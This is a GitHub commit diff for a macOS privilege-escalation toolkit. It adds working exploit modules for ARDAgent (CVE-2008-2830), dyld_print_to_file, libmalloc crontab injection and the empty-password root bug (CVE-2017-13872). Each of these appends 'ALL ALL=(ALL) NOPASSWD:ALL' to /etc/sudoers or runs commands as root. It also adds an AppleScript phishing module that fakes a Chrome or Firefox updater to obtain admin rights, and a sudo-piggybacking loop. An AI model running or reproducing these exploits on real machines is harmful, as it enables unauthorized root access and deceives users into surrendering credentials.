Skip to content

Commit 1cf5fdf

Browse files
committed
ardagent and cleanup
1 parent 2ec956e commit 1cf5fdf

File tree

11 files changed

+164
-82
lines changed

11 files changed

+164
-82
lines changed

README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,12 @@ Tries to use various CVEs to gain sudo or root access. All exploits have an end
66

77
## Exploits
88

9+
- CVE-2008-2830
910
- CVE-2015-3760
1011
- CVE-2015-5889
1112
- CVE-2017-13872
12-
- Applescript Dynamic Phishing
13+
- AppleScript Dynamic Phishing
14+
- Sudo Piggyback [Link](https://www.n00py.io/2016/10/privilege-escalation-on-os-x-without-exploits/)
1315

1416
## Run
1517

exploits/__init__.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import glob
22
import os
33

4-
modules = glob.glob(os.path.join(os.path.dirname(__file__), "*.py"))
54
__all__ = [os.path.basename(f)[:-3]
6-
for f in modules if not f.endswith("__init__.py")]
5+
for f in glob.glob(os.path.join(os.path.dirname(__file__), "*.py")) if not f.endswith("__init__.py")]

exploits/applescript.py

Lines changed: 0 additions & 65 deletions
This file was deleted.

exploits/ardagent.py

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
"""ARDAgent do shell script"""
2+
from distutils.version import LooseVersion
3+
4+
from .general import DEFAULT_COMMAND, osascript, random_string
5+
6+
__cve__ = "2008-2830"
7+
__credits__ = "anonymous"
8+
9+
10+
def vulnerable(version):
11+
"""checks vulnerability"""
12+
return version <= LooseVersion("10.5.8")
13+
14+
15+
def run():
16+
"""runs exploit"""
17+
rand = random_string()
18+
payload = """osascript -e 'tell app "ARDAgent" to do shell script "{command}; echo {success}"'""".format(
19+
command=DEFAULT_COMMAND, success=rand)
20+
response = osascript(payload)
21+
return rand in response

exploits/dyld_print_to_file.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
"""dyld_print_to_file oneliner"""
12
import os
23
from distutils.version import LooseVersion
34

@@ -6,10 +7,12 @@
67

78

89
def vulnerable(version):
10+
"""checks vulnerability"""
911
return version >= LooseVersion("10.10") and version <= LooseVersion("10.10.4")
1012

1113

1214
def run():
15+
"""runs exploit"""
1316
response = os.system(
1417
"echo 'echo \"ALL ALL=(ALL) NOPASSWD:ALL\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;")
1518
return not response == 256

exploits/general.py

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
"""general config and functions"""
2+
import os
3+
import uuid
4+
from plistlib import readPlist
5+
from subprocess import PIPE, Popen
6+
from xml.parsers.expat import ExpatError
7+
8+
DEFAULT_COMMAND = "python " + os.getcwd() + "/run_as_sudo.py"
9+
10+
11+
def random_string():
12+
"""generates random string"""
13+
return str(uuid.uuid4())[:8]
14+
15+
16+
def default_browser():
17+
"""gets default browser"""
18+
try:
19+
plist = readPlist(os.path.expanduser(
20+
"~") + "/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist")
21+
except ExpatError:
22+
return
23+
handlers = plist.get("LSHandlers")
24+
for handler in handlers:
25+
scheme = handler.get("LSHandlerURLScheme")
26+
if scheme and scheme == "https":
27+
return handler.get("LSHandlerRoleAll")
28+
return
29+
30+
31+
def osascript(command):
32+
"""runs shell for osascript"""
33+
osa = Popen([command], shell=True, stdout=PIPE)
34+
response = osa.communicate()[0].strip()
35+
if isinstance(response, bytes):
36+
return response.decode("utf-8")
37+
return response

exploits/libmalloc.py

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1+
"""crontab editing using libmalloc"""
12
import os
2-
import sys
33
import time
44
from distutils.version import LooseVersion
55

@@ -8,22 +8,23 @@
88

99

1010
def vulnerable(version):
11+
"""checks vulnerability"""
1112
return version <= LooseVersion("10.11")
1213

1314

1415
def run():
16+
"""runs exploit"""
1517
size = os.stat("/etc/sudoers").st_size
1618

1719
env = dict()
1820
env['MallocLogFile'] = '/etc/crontab'
1921
env['MallocStackLogging'] = 'yes'
20-
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc / sudoers
21-
\n\n\n\n\n'
22+
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'
2223

2324
print("Trying /etc/crontab...")
2425

25-
p = os.fork()
26-
if p == 0:
26+
pid = os.fork()
27+
if pid == 0:
2728
os.close(1)
2829
os.close(2)
2930
os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

exploits/nopass.py

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,21 @@
1-
import os
1+
"""root with no password"""
22
from distutils.version import LooseVersion
33

4-
from .applescript import osascript
4+
from .general import DEFAULT_COMMAND, osascript, random_string
55

66
__cve__ = "2017-13872"
77
__credits__ = "lemiorhan"
88

99

1010
def vulnerable(version):
11+
"""checks vulnerability"""
1112
return version == LooseVersion("10.13.1")
1213

1314

1415
def run():
15-
command = "python " + os.getcwd() + "/run_as_sudo.py"
16-
payload = """osascript -e 'do shell script "{command}; echo success" user name "root" password "" with administrator privileges'""".format(
17-
command=command)
16+
"""runs exploit"""
17+
rand = random_string()
18+
payload = """osascript -e 'do shell script "{command}; echo {success}" user name "root" password "" with administrator privileges'""".format(
19+
command=DEFAULT_COMMAND, success=rand)
1820
response = osascript(payload)
19-
return "success" in response
21+
return rand in response

exploits/phish.py

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
"""phishes for sudo with AppleScript"""
2+
from .general import DEFAULT_COMMAND, default_browser, osascript, random_string
3+
4+
try:
5+
input = raw_input
6+
except NameError:
7+
pass
8+
9+
__cve__ = ""
10+
__credits__ = "thehappydinoa"
11+
12+
BROWSERS = {
13+
"com.google.chrome": "Google Chrome Updater",
14+
"org.mozilla.firefox": "Firefox Updater"
15+
}
16+
17+
18+
def admin_prompt(app=None, prompt="System Update", command="echo hello"):
19+
"""prompts with administrator privileges"""
20+
rand = random_string()
21+
if app:
22+
payload = """osascript -e 'tell app "{app}" to activate' -e 'tell application "{app}" to do shell script "{command}; echo {success}" with prompt "{prompt}" with administrator privileges'""".format(
23+
app=app, prompt=prompt, command=command, success=rand)
24+
else:
25+
payload = """osascript -e 'do shell script "{command}; echo {success}" with prompt "{prompt}" with administrator privileges'""".format(
26+
prompt=prompt, command=command, success=rand)
27+
print("Prompting: " + prompt)
28+
response = osascript(payload)
29+
print(response)
30+
return rand in response
31+
32+
33+
def vulnerable(version):
34+
"""checks vulnerability"""
35+
return "y" == input("[USER INTERACTION] Do you want to try to phish for sudo? (y/N): ")[0].lower()
36+
37+
38+
def run():
39+
"""runs exploit"""
40+
browser = default_browser()
41+
if browser and browser in BROWSERS.keys():
42+
return admin_prompt(prompt=BROWSERS.get(browser), command=DEFAULT_COMMAND)
43+
return admin_prompt(command=DEFAULT_COMMAND)

exploits/piggyback.py

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
"""piggybacks off a sudo command"""
2+
import os
3+
import subprocess
4+
import time
5+
from distutils.version import LooseVersion
6+
7+
from .general import DEFAULT_COMMAND
8+
9+
__cve__ = ""
10+
__credits__ = "n00py"
11+
12+
13+
def vulnerable(version):
14+
"""checks vulnerability"""
15+
if version < LooseVersion("10.13.0"):
16+
return "y" == input("[USER INTERACTION] Do you want to piggyback off sudo (waits until sudo is used)? (y/N): ")[0].lower()
17+
return
18+
19+
def run():
20+
"""runs exploit"""
21+
sudo_dir = "/var/db/sudo"
22+
subprocess.call(['sudo -K'], shell=True)
23+
old_time = time.ctime(os.path.getmtime(sudo_dir))
24+
exit_loop = False
25+
while exit_loop is False:
26+
new_time = time.ctime(os.path.getmtime(sudo_dir))
27+
if old_time != new_time:
28+
try:
29+
subprocess.call(
30+
[DEFAULT_COMMAND], shell=True)
31+
exit_loop = True
32+
except (OSError, subprocess.CalledProcessError):
33+
pass
34+
return exit_loop

0 commit comments

Comments
 (0)